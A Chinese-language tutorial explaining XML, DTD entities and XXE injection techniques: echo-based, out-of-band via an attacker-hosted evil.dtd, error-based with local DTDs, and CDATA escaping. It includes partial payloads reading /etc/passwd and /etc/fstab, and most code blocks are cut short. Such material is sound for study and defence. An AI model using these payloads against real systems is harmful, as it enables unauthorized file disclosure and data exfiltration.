XXE概要
XML入门学习
XML
XML (extensible markup language)表示可扩展的标记语言,XML被设计用于数据的传输和存储,同时具备可读性,通常的使用场景有 API交互、UI布局、应用配置、RSS订阅等 svg pdf
我们先快速阅览下面这个简单的例子:首行数据指明了这是一个XML文档,并申明其版本;student 标签为这里的根标签,其下有两个子标签。标签名称大小写敏感,且标签文本内中不能直接填写 <>&'"
这些特殊字符。
1 |
|
DTD
XML文档中可以通过DTD(document type Definition)来定义一系列的文档标记语法,其声明格式大致如下(字符串值表示时需使用双引号或单引号包裹且前后一致):
1 | <!DOCTYPE name [ internalSubset ] > |
internalSubset
中可定义各种标记:ELEMENT
ATTLIST
ENEITY
等 , ExternalID 中则可申明引用外部XML/DTD 。
下面我们通过几个例子理解DTD的格式:
1 |
Entity
DTD的各标记中我们主要关注Entity,entity在XML文档中用于展现文本等数据,类似变量,我们可以在DTD中定义赋值并且在XML文档中的使用它。
entity的格式大致如下(字符串值表示时需使用双引号或单引号包裹且前后一致):
1 | EntityDecl ::= GEDecl | PEDecl |
从entity格式定义中可以了解到存在普通实体与参数实体两种情况,且这两种实体都可以引入外部XML/DTD文档。另外,我们把引入了外部XML/DTD文档的实体叫做外部实体
。
1 | <!ENTITY entity "str"> |
在定义了实体后,我们需要引用它来进行使用,参数实体引用PEReference
的格式为%name;
,普通实体引用EntityReference
格式为&name;
,前者只能在DTD中使用,后者可在XML文档中各字符串数据中使用。
下面例子定义了一个普通实体,并在XML body中引用了它,如果服务器在处理了XML文档后并回显student.name,我们就可看到student.name值为May:
1 |
|
我们将例子中的实体改为外部实体,systemId设置为本地文件,在java中可以用来进行文件读取:
1 |
|
关于参数实体我们在后面的XXE漏洞利用详情中还会具体讲到它。
XXE
场景及利用方式
X
ML Ex
ternal E
ntity Injection,即我们前文所说的外部实体引发的问题,通常根据利用场景或利用方式可分为
- 回显(in-band)
- 基于报错 (error based)
- 带外 (out of band) .
数据带外
如果我们没有找到回显标签数据的接口,或是在Execel等特殊场景下无法回显数据,可以尝试通过带外的方式进行漏洞利用。
我们先了解一下如何通过实体定义其他实体:
1 | <?xml version="1.0"?> |
实际上,上面的DTD达到下面DTD的效果,即通过参数实体,我们可以在XML中以字符串方式“eval”一个实体:
1 | <?xml version="1.0"?> |
我们可以尝试通过该方式定义实体send,让其带上文件内容:
1 | <?xml version="1.0"?> |
但当我们发送给服务器时可以发现会有如下报错信息:内部DTD中的markup(即ENTITY ATTLIST 等)不能使用 参数实体的引用。
1 | {"timestamp":"...","status":500,"error":"Internal Server Error","message":"Error on line 4 of document : The parameter entity reference \"%passwd;\" cannot occur within markup in the internal subset of the DTD. Nested exception: The parameter entity reference \"%passwd;\" cannot occur within markup in the internal subset of the DTD.","path":"/XXETest/dom4j"} |
在XML标准文档中也可以看到确有这一规范,但其也指明了通过外部DTD可绕过这一限制:
https://www.w3.org/TR/REC-xml/#wfc-PEinInternalSubset
In the internal DTD subset, parameter-entity references must not occur within markup declarations; they may occur where markup declarations can occur. (This does not apply to references that occur in external parameter entities or to the external subset.)
首先将evil.dtd
存放于VPS HTTP服务器上
1 | <!ENTITY % passwd SYSTEM "file:///etc/passwd"> |
POC如下:
1 | <?xml version="1.0"?> |
如果不清楚服务器解析哪些标签数据,我们可只使用参数实体:
1 | <!ENTITY % passwd SYSTEM "file:///etc/passwd"> |
1 | <?xml version="1.0"?> |
报错型
在Java中,当我们的 systemId 的协议为 jar://
、file://
或前缀为 url:
时,文件不存在或其他错误导致程序抛出异常时,异常数据会包含该 systemid ( url不是协议,后续需要跟file http 等),当如果服务器返回了这个 异常数据,我们就通过这个抛异常来进行XXE文件读取漏洞利用。
error based 通常可在如下场景使用:
- 漏洞环境无法外联,但此时需要结合合适的本地DTD文件进行漏洞利用
- 没有找到回显接口,JDK版本较高,HTTP/FTP带外数据不能有换行符号
如在JDK8u_301下,我们通过HTTP/FTP是无法读取到 /etc/passwd,通过以下POC,在有报错信息的情况下,我们可以类似利用回显型XXE一样进行文件读取:
1 | <!ENTITY % file SYSTEM "file:///etc/passwd"> |
1 | <?xml version="1.0" ?> |
下面我们说说漏洞环境无法外联的情况下的利用方式
首先内部DTD会优先于外部DTD先被XML处理器解析,而实体的定义不会被覆盖:
/tmp/foo.dtd
,由于需要发生多次错误,这个异常才会被抛出来,我们这里定义两个不同名称的element,并且在其定义中使用 PEReference
1 | <!ENTITY foo 'foo'> |
我们首先引用了外部DTD文档,随后定义实体foo
,本地DTD的实体先被解析存储且不会/tmp/foo.dtd中的覆盖
1 | <?xml version="1.0" ?> |
当XML解析器解析/tmp/foo.dtd时,则会拼接文本数据,再进行eval解析,ele1
则解析成如下文本,最后又通过参数实体 trick 触发报错信息,回显数据
1 | <!ELEMENT ele1 (aaa)> |
实战中可将 /tmp/foo.dtd 替换为 /usr/share/xml/fontconfig/fonts.dtd
,该文件在ubuntu系统中常见
数据转义
XXE漏洞利用中,我们尝试通过回显的方式读取一些文本文件时可能会失败。
使用如下方式读取/etc/fstab文件时会失败:
1 | <?xml version="1.0"?> |
1 | {"timestamp":"2023-05-09T07:41:05.693+0000","status":500,"error":"Internal Server Error","message":"Error on line 4 of document : The declaration for the entity \"file\" must end with '>'. Nested exception: The declaration for the entity \"file\" must end with '>'.","path":"/XXETest/dom4j"} |
失败原因为XML解析器将文件作为XML/DTD文档进行引用,当我们引用的文档不符合XML格式时造成本次解析处理失败
解决思路就是将待读取的文件内容使用CDATA进行包裹,从而将其中的特殊字符转义。
cdata.dtd
1 | <!ENTITY % file SYSTEM "file:///etc/fstab"> |
这次我们的XML文档稍微变化一下:
1 | <?xml version="1.0"?> |
语言及限制
JAVA语言有:
- FTP: >=JDK8_131 FTP命令不能有换行,>=JDK8_212 FTP URL不能有换行
- netdoc :>=JDK10 废弃该协议
- http/https:基本都不允许有换行符号
- jar:用于读取压缩文件内的文件,也可用于上传文件,上传的文件被存放于临时目录
参考
https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/
https://www.youtube.com/watch?v=gjm6VHZa_8s&ab_channel=PwnFunction
FTP服务器,python2:
1 | from __future__ import print_function |